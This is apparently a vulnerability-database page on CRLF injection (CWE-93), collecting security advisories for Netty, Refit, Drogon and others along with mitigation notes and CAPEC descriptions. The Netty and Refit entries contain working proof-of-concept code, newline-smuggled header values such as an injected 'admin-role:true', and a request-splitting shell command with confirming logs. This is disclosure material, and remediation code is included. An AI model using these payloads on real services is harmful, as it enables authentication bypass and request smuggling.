System.out.println();\n        System.out.println(\"Encoded STOMP frame:\");\n        System.out.println(\"---\");\n        // Show with visible control chars\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\").replace(\"\\0\", \"\\\\0\"));\n        }\n        System.out.println(\"---\");\n\n        // Check if the injected header appears as a separate line\n        boolean hasInjectedHeader = false;\n        String[] lines = encoded.split(\"\\n\");\n        for (String line : lines) {\n            if (line.startsWith(\"admin-role:\")) {\n                hasInjectedHeader = true;\n                break;\n            }\n        }\n\n        System.out.println();\n        System.out.println(\"Injected \u0027admin-role\u0027 appears as separate header: \" + hasInjectedHeader);\n        System.out.println(\"VULNERABLE: \" + (hasInjectedHeader ?\n            \"YES - Header injection in CONNECT frame!\" : \"NO\"));\n\n        // Count actual STOMP headers (lines between command and empty line)\n        int headerCount = 0;\n        boolean inHeaders = false;\n        for (String line : lines) {\n            if (line.equals(\"CONNECT\")) {\n                inHeaders = true;\n                continue;\n            }\n            if (inHeaders \u0026\u0026 line.trim().isEmpty()) break;\n            if (inHeaders \u0026\u0026 line.contains(\":\")) headerCount++;\n        }\n        System.out.println(\"Expected headers: 4 (host, accept-version, login, passcode)\");\n        System.out.println(\"Actual headers:   \" + headerCount);\n        System.out.println();\n    }\n\n    /**\n     * Test 2: Compare CONNECT (no escape) vs SEND (with escape)\n     */\n    static void testConnectVsOtherCommand() {\n        System.out.println(\"[TEST 2] CONNECT vs SEND Escape Comparison\");\n        System.out.println(\"--------------------------------------------\");\n\n        String maliciousValue = \"value\\ninjected:evil\";\n\n        // Test CONNECT (no escape)\n        {\n            DefaultStompHeaders headers = new DefaultStompHeaders();\n            headers.set(StompHeaders.HOST, \"localhost\");\n            headers.set(\"custom\", maliciousValue);\n\n            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n            frame.headers().setAll(headers);\n            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n            channel.writeOutbound(frame);\n\n            ByteBuf output = channel.readOutbound();\n            String encoded = output.toString(StandardCharsets.UTF_8);\n            output.release();\n            channel.finishAndReleaseAll();\n\n            System.out.println(\"CONNECT frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n            System.out.println(\"  Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n            boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n            System.out.println(\"  Raw \\\\n in output: \" + hasRawNewline);\n            System.out.println(\"  VULNERABLE: \" + (hasRawNewline ? \"YES\" : \"NO\"));\n        }\n\n        System.out.println();\n\n        // Test SEND (with escape)\n        {\n            DefaultStompHeaders headers = new DefaultStompHeaders();\n            headers.set(StompHeaders.DESTINATION, \"/queue/test\");\n            headers.set(\"custom\", maliciousValue);\n\n            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);\n            frame.headers().setAll(headers);\n            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n            channel.writeOutbound(frame);\n\n            ByteBuf output = channel.readOutbound();\n            String encoded = output.toString(StandardCharsets.UTF_8);\n            output.release();\n            channel.finishAndReleaseAll();\n\n            System.out.println(\"SEND frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n            System.out.println(\"  Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n            boolean hasEscapedNewline = encoded.contains(\"value\\\\ninjected\\\\cevil\");\n            boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n            System.out.println(\"  Escaped \\\\n: \" + hasEscapedNewline);\n            System.out.println(\"  Raw \\\\n:     \" + hasRawNewline);\n            System.out.println(\"  SAFE: \" + (hasEscapedNewline \u0026\u0026 !hasRawNewline ? \"YES\" : \"NO\"));\n        }\n        System.out.println();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \\\n  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" StompConnectHeaderInjectionPoC.java\njava -cp \"$JARS:.\" StompConnectHeaderInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty STOMP CONNECT Header Injection PoC ===\n\n[TEST 1] CONNECT Header Value Injection\n-----------------------------------------\nInput passcode: \"password\\nadmin-role:true\"\n\nEncoded STOMP frame:\n---\n  CONNECT\n  host:localhost\n  accept-version:1.2\n  login:user\n  passcode:password\n  admin-role:true          \u003c-- INJECTED HEADER\n\n  \\0\n---\n\nInjected \u0027admin-role\u0027 appears as separate header: true\nVULNERABLE: YES - Header injection in CONNECT frame!\nExpected headers: 4 (host, accept-version, login, passcode)\nActual headers:   5\n\n[TEST 2] CONNECT vs SEND Escape Comparison\n--------------------------------------------\nCONNECT frame with custom=\"value\\ninjected:evil\":\n  Encoded: CONNECT\\nhost:localhost\\ncustom:value\\ninjected:evil\\n\\n\\0\n  Raw \\n in output: true\n  VULNERABLE: YES\n\nSEND frame with custom=\"value\\ninjected:evil\":\n  Encoded: SEND\\ndestination:/queue/test\\ncustom:value\\ninjected\\cevil\\n\\n\\0\n  Escaped \\n: true\n  Raw \\n:     false\n  SAFE: YES\n\n\n=== PoC Complete ===\n```\n\n### Key Observation\n\nThe PoC demonstrates a clear inconsistency:\n- **CONNECT** command: `\\n` is written **raw** \u2192 header injection succeeds\n- **SEND** command: `\\n` is escaped to `\\\\n` \u2192 header injection prevented\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Authentication** | Injected headers may bypass broker authentication logic |\n| **Authorization** | Role escalation via injected role/permission headers |\n| **Integrity** | Modification of connection parameters (host, version, etc.) |\n| **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |\n\n### Affected Brokers\n\nThis vulnerability affects any application using Netty\u0027s STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker\u0027s handling of unexpected headers:\n\n- **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins\n- **ActiveMQ**: May process custom headers for internal routing\n- **Custom Brokers**: Most likely to be affected if they trust all received headers\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate CONNECT Header Values (Recommended)\n\nAdd newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:\n\n```java\nprivate static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {\n    StompCommand command = frame.command();\n    ByteBufUtil.writeUtf8(buf, command.toString());\n    buf.writeByte(StompConstants.LF);\n\n    boolean shouldEscape = shouldEscape(command);\n    for (Entry\u003cCharSequence, CharSequence\u003e entry : frame.headers()) {\n        CharSequence headerKey = entry.getKey();\n        CharSequence headerValue = entry.getValue();\n\n        if (shouldEscape) {\n            headerKey = escape(headerKey);\n            headerValue = escape(headerValue);\n        } else {\n            // For CONNECT/CONNECTED: don\u0027t escape but REJECT newlines\n            validateNoNewlines(headerKey, \"header name\");\n            validateNoNewlines(headerValue, \"header value\");\n        }\n\n        ByteBufUtil.writeUtf8(buf, headerKey);\n        buf.writeByte(StompConstants.COLON);\n        ByteBufUtil.writeUtf8(buf, headerValue);\n        buf.writeByte(StompConstants.LF);\n    }\n    buf.writeByte(StompConstants.LF);\n}\n\nprivate static void validateNoNewlines(CharSequence value, String type) {\n    for (int i = 0; i \u003c value.length(); i++) {\n        char c = value.charAt(i);\n        if (c == \u0027\\n\u0027 || c == \u0027\\r\u0027) {\n            throw new IllegalArgumentException(\n                \"STOMP CONNECT \" + type + \" contains illegal newline at index \" + i);\n        }\n    }\n}\n```\n\n### Option 2: Apply Escaping to All Commands\n\nSimply remove the CONNECT/CONNECTED exception:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n    return true; // Always escape\n}\n```\n\nNote: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.\n\n## 9. References\n\n- [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html)\n- [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)",
  "id": "GHSA-3g8r-4pfx-jmfh",
  "modified": "2026-07-22T21:52:28Z",
  "published": "2026-07-22T21:52:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: STOMP CONNECT Frame Header Injection in Netty"
}

GHSA-3HXG-FXWM-8GF7

Vulnerability from github – Published: 2024-11-04 23:23 – Updated: 2024-11-08 15:19
VLAI
Summary
CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes
Details

Summary

The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328 This method does not check for CRLF characters in the header value.

This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:

using Refit;

internal class Program
{
    private static void Main(string[] args)
    {
        // Usage: dotnet run <bearer token> 
        string token = args[0];
        var service = RestService.For<IStatusApi>("http://insert.some.site.here");
        string response = service.GetStatus(token).Result;
        Console.WriteLine($"Response: {response}");
    }

    public interface IStatusApi
    {
        [Get("/status")]
        Task<string> GetStatus([Authorize("Bearer")] string token);
    }
}

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"

Impact

If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Refit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51501"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-04T23:23:17Z",
    "nvd_published_at": "2024-11-04T23:15:04Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \u003chttps://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328\u003e\nThis method does not check for CRLF characters in the header value.\n\nThis means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the \"Authorization\" header:\n\n```c#\nusing Refit;\n\ninternal class Program\n{\n    private static void Main(string[] args)\n    {\n        // Usage: dotnet run \u003cbearer token\u003e \n        string token = args[0];\n        var service = RestService.For\u003cIStatusApi\u003e(\"http://insert.some.site.here\");\n        string response = service.GetStatus(token).Result;\n        Console.WriteLine($\"Response: {response}\");\n    }\n\n    public interface IStatusApi\n    {\n        [Get(\"/status\")]\n        Task\u003cstring\u003e GetStatus([Authorize(\"Bearer\")] string token);\n    }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $\u0027test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here\u0027\nResponse: \u003chtml\u003e\u003c/html\u003e\n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer \u003cbearer token\u003e\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"-\"\n```\n\n### Impact\nIf an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.\n\n",
  "id": "GHSA-3hxg-fxwm-8gf7",
  "modified": "2024-11-08T15:19:17Z",
  "published": "2024-11-04T23:23:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/reactiveui/refit/security/advisories/GHSA-3hxg-fxwm-8gf7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51501"
    },
    {
      "type": "WEB",
      "url": "https://github.com/reactiveui/refit/commit/483b1d8df18098f137ca0eca056b7e9ec19f70dd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/reactiveui/refit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CRLF injection in Refit\u0027s [Header], [HeaderCollection] and [Authorize] attributes "
}

GHSA-3JVV-M32R-4HPF

Vulnerability from github – Published: 2023-07-06 06:30 – Updated: 2024-04-04 05:25
VLAI
Details

All versions of the package drogonframework/drogon are vulnerable to CRLF Injection when untrusted user input is used to set request headers in the addHeader function. An attacker can add the \r\n (carriage return line feeds) characters and inject additional headers in the request sent.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-26138"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-06T05:15:09Z",
    "severity": "MODERATE"
  },
  "details": "All versions of the package drogonframework/drogon are vulnerable to CRLF Injection when untrusted user input is used to set request headers in the addHeader function. An attacker can add the \\r\\n (carriage return line feeds) characters and inject additional headers in the request sent.",
  "id": "GHSA-3jvv-m32r-4hpf",
  "modified": "2024-04-04T05:25:57Z",
  "published": "2023-07-06T06:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26138"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/dellalibera/d2abd809f32ec6c61be1f41d80edf61b"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-UNMANAGED-DROGONFRAMEWORKDROGON-5665555"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3MJ9-VRRP-55V4

Vulnerability from github – Published: 2025-12-18 21:31 – Updated: 2025-12-18 21:31
VLAI
Details

A CRLF injection vulnerability in Kentico Xperience allows attackers to manipulate URL query string redirects via improper encoding in the routing engine. This could enable header injection and potentially facilitate further web application attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-50682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-18T20:15:50Z",
    "severity": "MODERATE"
  },
  "details": "A CRLF injection vulnerability in Kentico Xperience allows attackers to manipulate URL query string redirects via improper encoding in the routing engine. This could enable header injection and potentially facilitate further web application attacks.",
  "id": "GHSA-3mj9-vrrp-55v4",
  "modified": "2025-12-18T21:31:43Z",
  "published": "2025-12-18T21:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-50682"
    },
    {
      "type": "WEB",
      "url": "https://devnet.kentico.com/download/hotfixes"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/kentico-xperience-routing-engine-crlf-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3WRH-PMFV-38F4

Vulnerability from github – Published: 2024-06-14 12:30 – Updated: 2024-07-03 18:45
VLAI
Details

A CRLF cross-site scripting vulnerability has been identified in certain configurations of the SiteMinder Web Agent for IIS Web Server and SiteMinder Web Agent for Domino Web Server. As a result, an attacker can execute arbitrary Javascript code in a client browser.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-36459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-14T12:15:09Z",
    "severity": "HIGH"
  },
  "details": "A CRLF cross-site scripting vulnerability has been identified in certain configurations of the SiteMinder Web Agent for IIS Web Server and SiteMinder Web Agent for Domino Web Server. As a result, an attacker can execute arbitrary Javascript code in a client browser.",
  "id": "GHSA-3wrh-pmfv-38f4",
  "modified": "2024-07-03T18:45:19Z",
  "published": "2024-06-14T12:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36459"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc6265#section-4.1.1"
    },
    {
      "type": "WEB",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24537"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3WWJ-WH2W-G4XP

Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2022-02-23 15:04
VLAI
Summary
CRLF Injection in microweber
Details

CRLF Injection leads to Stack Trace Exposure due to lack of filtering at https://demo.microweber.org/ in Packagist microweber/microweber prior to 1.2.11.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "microweber/microweber"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-0666"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-23T15:04:54Z",
    "nvd_published_at": "2022-02-18T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "CRLF Injection leads to Stack Trace Exposure due to lack of filtering at https://demo.microweber.org/ in Packagist microweber/microweber prior to 1.2.11.",
  "id": "GHSA-3wwj-wh2w-g4xp",
  "modified": "2022-02-23T15:04:54Z",
  "published": "2022-02-19T00:01:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0666"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microweber/microweber/commit/f0e338f1b7dc5ec9d99231f4ed3fa6245a5eb128"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microweber/microweber"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/7215afc7-9133-4749-8e8e-0569317dbd55"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CRLF Injection in microweber"
}

GHSA-3XX8-JMFQ-QF34

Vulnerability from github – Published: 2025-03-07 18:31 – Updated: 2025-03-07 18:31
VLAI
Details

An improper neutralization of CRLF sequences ('CRLF Injection') vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained user access to modify application data.

We have already fixed the vulnerability in the following versions: QTS 5.2.3.3006 build 20250108 and later QuTS hero h5.2.3.3006 build 20250108 and later

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-53693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-07T17:15:19Z",
    "severity": "HIGH"
  },
  "details": "An improper neutralization of CRLF sequences (\u0027CRLF Injection\u0027) vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained user access to modify application data.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.3.3006 build 20250108 and later\nQuTS hero h5.2.3.3006 build 20250108 and later",
  "id": "GHSA-3xx8-jmfq-qf34",
  "modified": "2025-03-07T18:31:06Z",
  "published": "2025-03-07T18:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53693"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-24-54"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Implementation

Avoid using CRLF as a special sequence.

Mitigation
Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.